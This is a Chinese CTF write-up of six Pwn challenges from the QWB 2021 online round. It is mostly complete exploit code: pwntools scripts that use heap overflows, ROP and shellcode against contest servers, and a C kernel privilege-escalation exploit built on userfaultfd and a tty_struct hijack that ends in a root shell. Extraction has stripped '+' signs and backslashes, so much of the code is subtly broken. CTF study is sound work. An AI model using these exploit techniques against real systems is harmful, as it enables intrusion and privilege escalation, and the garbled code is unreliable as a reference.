[强网杯2021-线上赛] Pwn方向writeup

2022-08-01 14:10:12 浏览数 (2)

线上赛撞了四六级麻了hhh

ban完一堆队伍之后喜提线下hhh

  • orw
  • no_output
  • shellcode
  • pipeline
  • babypwn
  • notebook

orw

堆有rwx权限,下标溢出写got函数为堆地址,在两个堆块上拼接shellcode调用read读入shellcode进行orw拿flag

代码语言:javascript复制
from pwn import *

#p = process("./pwn", env={"LD_PRELOAD":"./libc-2.23.so ./libseccomp.so.0"})
p = remote("39.105.131.68", 12354)
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

def add(idx:int, size:int, content):
    p.sendlineafter(b"choice >>n", b"1")
    p.sendlineafter(b"index:n", str(idx).encode())
    p.sendlineafter(b"size:n", str(size).encode())
    p.sendafter(b"content:n", content)

def delete(idx:int):
    p.sendlineafter(b"choice >>n", b"4")
    p.sendlineafter(b"index:n", str(idx).encode())

def exp():
    #gdb.attach(p, "b *0x0000555555554000 0xFE7ncn")

    offset = (0x0000555555554000 0x2020E0 - 0x555555756018)//8
    print("offset:", hex(offset))
    shellcode_1 = '''
    mov rsi, rdi;
    xor rax, rax;
    jmp $ 0x1a;
    '''
    shellcode_1 = asm(shellcode_1)
    shellcode_2 = '''
    xor rdi, rdi;
    mov edx, ecx;
    syscall;
    '''
    shellcode_2 = asm(shellcode_2) 
    print("len(shellcode_1):", hex(len(shellcode_1)))
    print(shellcode_1)
    print("len(shellcode_2):", hex(len(shellcode_2)))
    print(shellcode_2)
    add(-offset, 8, shellcode_1)
    add(0, 8, shellcode_2.ljust(8, b"x90"))
    delete(0)

    orw = '''
    push 0;
    push 0x67616c66;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 0;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''

    p.send(b"x90"*0x10 asm(orw))

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

no_output

这是个非预期解法,通过MIN_INT/-1触发异常handler实现栈溢出,构造ROP链借助check函数来侧信道爆破flag

代码语言:javascript复制
from pwn import *
import time

elf = ELF("./test")
#context.log_level = "debug"
context.arch = "i386"

elf_open = elf.plt[b"open"]
elf_read = elf.plt[b"read"]
bss_secret = 0x804C034
flag_name = 0x804A0D3
bss_name = 0x804C060

table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?."

final_flag = b""

def exp(guess, c_idx):
    global final_flag
    global p
    #p = process("./test")
    p = remote("39.105.138.97", 1234)

    # tell me some thing
    p.send(b"a"*0x30)
    # Tell me your name:n
    p.send((b"x00"*8   b"f"   b"x00").ljust(0x20, b"b"))
    # now give you the flagn
    # xxxx
    # give me the soul:
    p.sendline(b"-2147483648")
    # give me the egg:
    p.sendline(b"-1")

    # handler stkof
    #gdb.attach(p,"b *0x8049385ncn")

    offset = 0x48 # to ebp
    pop_edi_ebp_ret = 0x08049582
    pop_esi_edi_ebp_ret = 0x08049581
    pop_ebx_esi_edi_ebp_ret = 0x08049580
    payload1 = b"a"*offset   p32(0xdeadbeef)
    payload1  = p32(elf_read)   p32(pop_esi_edi_ebp_ret)   p32(0)   p32(bss_name 0x20)   p32(5) # read(0, input_byte, 0x2) 
    payload1  = p32(elf_open)   p32(pop_edi_ebp_ret)   p32(bss_name 0x20)   p32(0)  # open(flag_name, 0)
    payload1  = p32(elf_read)   p32(pop_esi_edi_ebp_ret)   p32(4)   p32(bss_secret)   p32(0xff) # read(fd, secret, 0xff)
    payload1  = p32(elf_read)   p32(pop_esi_edi_ebp_ret)   p32(0)   p32(bss_name)   p32(2) # read(0, input_byte, 0x2) 
    payload1  = p32(0x80494d6)   p32(bss_secret c_idx)   p32(bss_name) # control check_flag()
    p.send(payload1.ljust(0x100, b"x00"))
    #time.sleep(0.5)
    p.send(b"flagx00")
    p.send(guess   b"x00")

    try:
        p.recv(timeout=1)
        final_flag  = guess
        print("Curr flag:", final_flag)
        #pause()
        p.close()
        return True
    except:
        #print("Incorrect:", guess)
        print("Curr flag:", final_flag)
        p.close()
        return False


if __name__ == "__main__":
    for i in range(20, 40):
        print("Round: ", i)
        for c in table:
            if exp(bytes([c]), i):
                break
    print("Curr flag:", final_flag)

#qwb{n0_1nput_1s_great!!!}

shellcode

模式切换shellcode,字符范围限制: (0x1f, 0x7f)

用点小技巧,先alpha_shellcode自覆盖解除字符限制,然后mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)

orw的最后一步w用alarm实现,通过多线程时间侧信道爆flag

代码语言:javascript复制
from pwn import *
import sys
import time

import threading

def exp(flag_idx:int):    
    #p = process("./shellcode")
    p = remote("39.105.137.118", 50050)
    #context.log_level = "debug"
    context.arch = "amd64"

    # build read
    alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F"
    payload = alpha_read
    p.send(payload)

    # read mmap shellcode
    # mmap new shellcode area
    time.sleep(0.2)
    payload = b"x90"*0x50
    shellcode_mmap_raw = '''
    mov rdi, 0x100000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0x200000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0
    mov rsi, 0x100000
    mov rdx, 0x1000
    mov rax, 0;
    syscall;
    call rsi;
    '''
    payload  = asm(shellcode_mmap_raw)
    p.send(payload)

    #gdb.attach(p, "b *0x100001ncn")

    # read new shellcode
    time.sleep(0.5)
    shellcode_to_x86 = '''
    push 0x23;
    push 0x100020;
    retfq;
    '''
    shellcode_open = '''
    mov esp, 0x210000;
    push 0;
    push 0x67616c66;
    mov ebx, esp;
    mov rcx, 0;
    mov eax, 5;
    int 0x80;
    '''
    shellcode_to_x64 = '''
    push 0x33;
    push 0x100050;
    retf;
    '''
    shellcode_read = '''
    mov rdi, rax;
    mov rsi, 0x100000;
    mov rdx, 0x40;
    mov rax, 0;
    syscall;
    nop;
    '''
    char_addr = 0x100000 flag_idx
    shellcode_alarm = '''
    xor rax, rax;
    mov al, byte ptr [{}];
    //mov al, 0x3;
    mov rdi, rax;
    mov rax, 37;
    syscall;
    HERE:
        jmp HERE
    '''
    payload = asm(shellcode_to_x86)
    payload = payload.ljust(0x20, b"x90")
    payload  = asm(shellcode_open)
    payload  = asm(shellcode_to_x64)
    payload = payload.ljust(0x50, b"x90")
    payload  = asm(shellcode_read)
    payload  = asm(shellcode_alarm.format(hex(char_addr)))
    p.send(payload)

    print("WAITING IDX: ", flag_idx)
    start = time.perf_counter()
    try:
        p.recv()
    except:
        print("ALARM!")
    end = time.perf_counter()
    pass_time = int(end-start)
    flag[flag_idx] = pass_time
    print(flag_idx, "May be char:", bytes([pass_time]))
    p.close()

if __name__ == "__main__":
    pool = []
    flag = [0]*0x26
    for i in range(0, 0x26):
        t = threading.Thread(target=exp, args=(i,))
        pool.append(t)
        t.setDaemon(True)
        sleep(1)
        t.start()
    for t in pool:
        t.join()
    print("FLAG:", bytes(flag)) 

#flag{cdc31bf52a72521c93b690ad1978856d}

pipeline

隐蔽的堆溢出,通过设置append size为0x800000f0达到堆溢出的目的

代码语言:javascript复制
from pwn import *

#p = process("./pipeline", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("59.110.173.239", 2399)
elf = ELF("./pipeline")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"

def add():
    p.sendlineafter(b">> ", b"1")

def edit(idx:int, size:int, offset:int):
    p.sendlineafter(b">> ", b"2")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"offset: ", str(offset).encode())
    p.sendlineafter(b"size: ", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">> ", b"3")
    p.sendlineafter(b"index: ", str(idx).encode())

def append(idx:int, size:int, data):
    p.sendlineafter(b">> ", b"4")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendafter(b"data: ", data)

def show(idx:int):
    p.sendlineafter(b">> ", b"5")
    p.sendlineafter(b"index: ", str(idx).encode())

# 0x0000555555554000
# header: 0x0000555555554000 0x4058

def exp():
    #gdb.attach(p, "b *0x0000555555554000 0x18afncn")

    # leak libc
    add() #0
    edit(0, 0x420, 0)
    add() #1 split
    edit(0, 0, 0)
    edit(0, 0x420, 0)
    show(0)
    p.recvuntil(b"data: ")
    libc_leak = u64(p.recv(6).ljust(8, b"x00"))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base   libc.symbols[b"system"]
    free_hook = libc_base   libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    # attack tcache
    ## get
    add() #2
    edit(2, 0x18, 0x17)
    add() #3
    edit(3, 0x20, 0)
    add() #4
    edit(4, 0x20, 0)
    add() #5
    edit(5, 0x20, 0)
    ## free
    edit(5, 0, 0)
    edit(4, 0, 0)
    edit(3, 0, 0)

    payload = b"a" p64(0x21)
    payload  = p64(free_hook)   p32(0)   p32(0x8)   b"n"
    append(2, -2147483408, payload)

    append(3, 0x8, p64(system))
    print("free_hook:", hex(free_hook))

    edit(1, 0x8, 0)
    append(1, 0x8, b"/bin/shn")
    edit(1, 0, 0)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

babypwn

题出得有点莫名其妙,题目从堆块头遍历扫描x11字符替换成x00,遇到第一个x00停止,造成了很明显的off-by-null,因此可以unlink构造overlap攻击tcache。然后往__free_hooksetcontext 53,借助setcontext 53gadget调用mprotect给堆rwx后执行orw shellcode

代码语言:javascript复制
from pwn import *

#p = process("./babypwn", env={"LD_PRELOAD":"./libc.so.6 libseccomp.so.2"})
p = remote("39.105.130.158", 8888)
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"

def unshiftleft(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift   1
    for _ in range(temp):
        res = n ^ ((res << shift) & mask)
    return res

def unshiftright(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift   1
    for _ in range(temp):
        res = n ^ ((res >> shift) & mask)
    return res

def dec(c):
    for i in range(2):
        c = unshiftleft(c , 13)
        c = unshiftright(c ,17)
        c = unshiftleft(c ,5)
    return c

def add(size:int):
    p.sendlineafter(b">>> n", b"1")
    p.sendlineafter(b"size:n", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">>> n", b"2")
    p.sendlineafter(b"index:n", str(idx).encode())

def edit(idx:int, content):
    p.sendlineafter(b">>> n", b"3")
    p.sendlineafter(b"index:n", str(idx).encode())
    p.sendafter(b"content:n", content)

def show(idx:int):
    p.sendlineafter(b">>> n", b"4")
    p.sendlineafter(b"index:n", str(idx).encode())

def exp():
    # leak libc
    for i in range(8):
        add(0x80) # 0-7
    add(0x20) # 8 split
    for i in range(9,9 7):
        add(0xf8) # 9-16
    for i in range(8):
        delete(i) # del 0-7
    add(0x20) # 0
    show(0)
    libc_leak_low = int(p.recvuntil(b"n", drop=True).decode(), 16)
    libc_leak_low = dec(libc_leak_low) & 0xffffffff
    libc_leak_high = int(p.recvuntil(b"n", drop=True).decode(), 16)
    libc_leak_high = dec(libc_leak_high) & 0xffffffff
    libc_leak = ((libc_leak_high<<32)   libc_leak_low) & 0xffffffffffff
    libc_base = libc_leak - 0x3ebd20
    free_hook = libc_base   libc.symbols[b"__free_hook"]
    setcontext = libc_base   libc.symbols[b"setcontext"]
    mprotect = libc_base   libc.symbols[b"mprotect"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("setcontext:", hex(setcontext))

    # leak heap
    add(0x80) # 1
    show(1)
    heap_leak_low = int(p.recvuntil(b"n", drop=True).decode(), 16)
    heap_leak_low = dec(heap_leak_low) & 0xffffffff
    heap_leak_high = int(p.recvuntil(b"n", drop=True).decode(), 16)
    heap_leak_high = dec(heap_leak_high) & 0xffffffff
    heap_leak = ((heap_leak_high<<32)   heap_leak_low) & 0xffffffffffff
    heap_base = heap_leak - 0x1240   0x2c0 # modify
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # build overlapping
    add(0xf8) #2 chain
    add(0xf8) #3 chain
    add(0xf8) #4
    add(0xf8) #5
    add(0x100) #6
    add(0x90) #7 split
    ## fill tcache
    for i in range(9,9 7):
        delete(i) # del 9-16
    edit(5, b"a"*0xf8)
    edit(5, b"a"*0xf0 p64(0x200))
    edit(6, b"a"*0xf0 p64(0) p64(0x21))
    edit(7, p64(0) p64(0x91))
    target = heap_base 0x1d10-0x2c0  # modify
    edit(4, b"x00"*0xf0 p64(0x100))
    edit(4, p64(target 0x20-0x18) p64(target 0x20-0x10) p64(target))
    delete(6)

    # link to __free_hook
    add(0xf8) # 6 remove from tcache
    add(0x1f8) # 9
    delete(5) # del 5
    edit(9, b"x00"*0xf8 p64(0x101) p64(free_hook))
    add(0xf8) # 5 remote first of tcache
    add(0xf8) # 10 free_hook
    edit(10, p64(setcontext 53))
    print("free_hook:", hex(free_hook))

    # attack setcontext 53
    #gdb.attach(p, "b freencn")
    prepare = heap_base   0x20d0 - 0x2c0 # modify
    add(0x200) # 11 prepare
    frame = SigreturnFrame()
    frame.rip = mprotect
    frame.rdi = heap_base
    frame.rsi = 0x20000
    frame.rdx = 7
    frame.rsp = prepare 0x100

    payload = flat(list(frame.values())).ljust(0x100, b"x00")
    payload  = p64(prepare 0x110)
    payload = payload.ljust(0x110, b"x90")
    shellcode = '''
    push 0;
    //push 0x67616c66;
    mov rax, 0x7478742e67616c66;
    push rax;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 1;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''
    payload  = asm(shellcode)
    print("length:", hex(len(payload)))

    edit(11, payload)
    delete(11)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

notebook

koo师傅和sad师傅打的,我在旁边加油hhh

exp.c

代码语言:javascript复制
#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <stdint.h>
int fd;
    char *addr;         /* Start of region handled by userfaultfd */
static int page_size;
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0xffffffff81000000
int ptmx_fds[0x1000];
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
size_t MOV_CR4_RDI_POP_RBP=0xffffffff8101e9f0;
//swapgs ;pop rbp ; ret
size_t SWAPGS = 0xffffffff810637d4;
//0xffffffff810338bb: iretq; pop rbp; ret;
size_t IRETQ = 0xffffffff810338bb;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81a00929 22;
//commit_creds函数
size_t COMMIT_CREDS = 0xffffffff810a9b40;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0;
//push rax ; pop rsp ;  ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810eed5a;
size_t SUB_RSP_RET = 0xffffffff8100354f;
size_t PUSH_RDI_POP_RSP_POP_RET = 0xffffffff8143f4e1;
size_t POP_RDI = 0xffffffff81007115;
size_t POP_RSP = 0xffffffff810bc110;
size_t POP_RAX = 0xffffffff81540d04;
size_t MSLEEP = 0xffffffff81102360;
size_t MOV_RDI_RAX_POP_RET=0xffffffff81045833;
void init_addr(size_t kernel_base) {
    MOV_CR4_RAX =kernel_base - RAW_KERNEL_BASE;
    //0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
     MOV_CR4_RDI_POP_RBP =kernel_base - RAW_KERNEL_BASE;
    //swapgs ;pop rbp ; ret
     SWAPGS  = kernel_base - RAW_KERNEL_BASE;
    //0xffffffff810338bb: iretq; pop rbp; ret;
     IRETQ  = kernel_base - RAW_KERNEL_BASE;
     swapgs_restore_regs_and_return_to_usermode =kernel_base - RAW_KERNEL_BASE;
    //commit_creds函数
     COMMIT_CREDS  = kernel_base - RAW_KERNEL_BASE;
    // prepare_kernel_cred
     PREPARE_KERNEL_CRED  = kernel_base - RAW_KERNEL_BASE;
    //push rax ; pop rsp ;  ret做栈迁移用
     PUSH_RAX_POP_RSP  = kernel_base - RAW_KERNEL_BASE;
     SUB_RSP_RET  = kernel_base - RAW_KERNEL_BASE;
     PUSH_RDI_POP_RSP_POP_RET  = kernel_base - RAW_KERNEL_BASE;
     POP_RDI = kernel_base - RAW_KERNEL_BASE;
     POP_RSP = kernel_base - RAW_KERNEL_BASE;
     POP_RAX = kernel_base - RAW_KERNEL_BASE;
     MSLEEP  = kernel_base - RAW_KERNEL_BASE;
     MOV_RDI_RAX_POP_RET  = kernel_base - RAW_KERNEL_BASE;
}
void getRoot() {
   //函数指针
   void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
   void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
   //commit_creds(prepare_kernel_cred(0))
   (*cc)((*pkc)(0));
}
void getShell() {
    printf("%dn",getuid());
   if (getuid() == 0) {
      printf("[ ]Rooted!!n");
      system("/bin/sh");
   } else {
      printf("[ ]Root Fail!!n");
   }
}
size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
   __asm__("mov %cs,user_cs;"
           "mov %ss,user_ss;"
           "mov %rsp,user_sp;"
           "pushf;"
           "pop user_flags;"
           );
  puts("user states have been saved!!");
}

struct ARG{
    long long idx;
    long long size;
    void * buf;
};
long long  gift(int fd,int offset){
    char buf[256];
    struct ARG arg = {0,0,buf};
    long long res=ioctl(fd, 100, &arg);
    printf("gift return %dn",res);
    return *( long long*)(buf offset*0x10);
}
long long add(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x100, &arg);
    printf("add return %dn",res);
    return res;
}
long long edit(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x300, &arg);
    printf("edit return %dn",res);
    return res;
}

long long del(int fd,long long idx){
    printf("in deleten");
    struct ARG arg = {idx,0,0};
    long long res=ioctl(fd, 0x200, &arg);
    return res;
}
static void *
fault_handler_thread(void *arg)
{
    static struct uffd_msg msg;   /* Data read from userfaultfd */
    static int fault_cnt = 0;     /* Number of faults so far handled */
    long uffd;                    /* userfaultfd file descriptor */
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    /* Create a page that will be copied into the faulting region */

    if (page == NULL) {
       page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (page == MAP_FAILED)
           puts("mmap");
    }

    /* Loop, handling incoming events on the userfaultfd
      file descriptor */

    for (;;) {

       /* See what poll() tells us about the userfaultfd */

       struct pollfd pollfd;
       int nready;
       pollfd.fd = uffd;
       pollfd.events = POLLIN;
       nready = poll(&pollfd, 1, -1);
       if (nready == -1)
           puts("poll");

       /* Read an event from the userfaultfd */

       nread = read(uffd, &msg, sizeof(msg));
       if (nread == 0) {
           printf("EOF on userfaultfd!n");
           exit(EXIT_FAILURE);
       }

       if (nread == -1)
           puts("read");

       /* We expect only one kind of event; verify that assumption */

       if (msg.event != UFFD_EVENT_PAGEFAULT) {
           fprintf(stderr, "Unexpected event on userfaultfdn");
           exit(EXIT_FAILURE);
       }

        /* Copy the page pointed to by 'page' into the faulting
          region. Vary the contents that are copied in, so that it
          is more obvious that each fault is handled separately. */
       if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
            printf("write faultn");
            sleep(1);
        } else {
           printf("read faultn");
        char a[10]="sad";
            edit(fd,0,0x600,a);
        edit(fd,0,0x400,a);

        fault_cnt  ;

        uffdio_copy.src = (unsigned long) page;

        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                  ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
             printf("ioctl-UFFDIO_COPY");
        }
/*
    while(1){
        printf("check uid %dn",geteuid());
        sleep(1);
    }
*/
    }
}
int main(){
    saveUserState();
    long uffd;          /* userfaultfd file descriptor */
    unsigned long len;  /* Length of region handled by userfaultfd */
    pthread_t thr;      /* ID of thread that handles page faults */
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    page_size = sysconf(_SC_PAGE_SIZE);
    len = 4 * page_size;

    /* Create and enable userfaultfd object */

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
       puts("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
       puts("ioctl-UFFDIO_API");

    /* Create a private anonymous mapping. The memory will be
      demand-zero paged--that is, not yet allocated. When we
      actually touch the memory, it will be allocated via
      the userfaultfd. */

    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED)
       puts("mmap");

    /* Register the memory range of the mapping we just created for
      handling by the userfaultfd object. In mode, we request to track
      missing pages (i.e., pages that have not yet been faulted in). */

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
       puts("ioctl-UFFDIO_REGISTER");

    /* Create a thread that will process the userfaultfd events */

    s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
    if (s != 0) {
       errno = s;
       puts("pthread_create");
    }

    fd = open("/dev/notebook", 2);
    char a[10]="sadaaaaa";
    add(fd,0,0x20,a);
    //add(fd,0,0,addr);
    edit(fd,0,0x3ff,a);
    edit(fd,0,0x400,addr);
    for(int i =0 ;i<0x100;i  )
    ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    size_t fake_tty_struct[128];
    size_t fake_tty_operations[128];
    printf("read size:%dn",read(fd,fake_tty_struct,0));

    long long kernel_addr = *(unsigned long long *)(fake_tty_struct 3)-0xe8e440;
    init_addr(kernel_addr);
    add(fd,1,0x20,a);
    edit(fd,1,0x20*8,a);
    add(fd,2,0x50,a);
    long long tty_operation_addr = gift(fd,2);
    long long heap_addr = gift(fd,1);
    size_t rop_addr = heap_addr;
    fake_tty_struct[3] = tty_operation_addr;
   fake_tty_struct[1] = SUB_RSP_RET;
   fake_tty_struct[0x14] = POP_RSP;
   fake_tty_struct[0x15] = rop_addr;
   //fake_tty_struct[2] = rop_addr;
    write(fd,fake_tty_struct,0);
    printf("kernel heap addr: %pn",heap_addr);
    printf("kernel kernel addr: %pn",kernel_addr);
   //对tty_fd执行write,将触发这个gadget进行第一次转转移
   fake_tty_operations[7] = PUSH_RDI_POP_RSP_POP_RET;
   //栈再一次转移到rop数组里
    size_t rop[0x20];
    int i = 0;
    /*rop同时关闭了smap、semp*/
    rop[i  ] = POP_RDI;
    rop[i  ] = 0;
    rop[i  ] = PREPARE_KERNEL_CRED;
    rop[i  ] = MOV_RDI_RAX_POP_RET;
    rop[i  ] = 0;
    rop[i  ] = COMMIT_CREDS;
    rop[i  ] = swapgs_restore_regs_and_return_to_usermode;
    rop[i  ] = 0;
    rop[i  ] = 0;
    rop[i  ] = (size_t)&getShell;
    rop[i  ] = user_cs;
    rop[i  ] = user_flags;
    rop[i  ] = user_sp;
    rop[i  ] = user_ss;
    printf("ngetshell: %llxn",(size_t)&getShell);
    write(fd,rop,1);
    write(fd,fake_tty_operations,2);
    //getchar();
    //write(fd,fake_tty_operations,0);

    for(int i=0;i<0x100;i  ){
        write(ptmx_fds[i],a,0x10);
    }

    return 0;
}

0 人点赞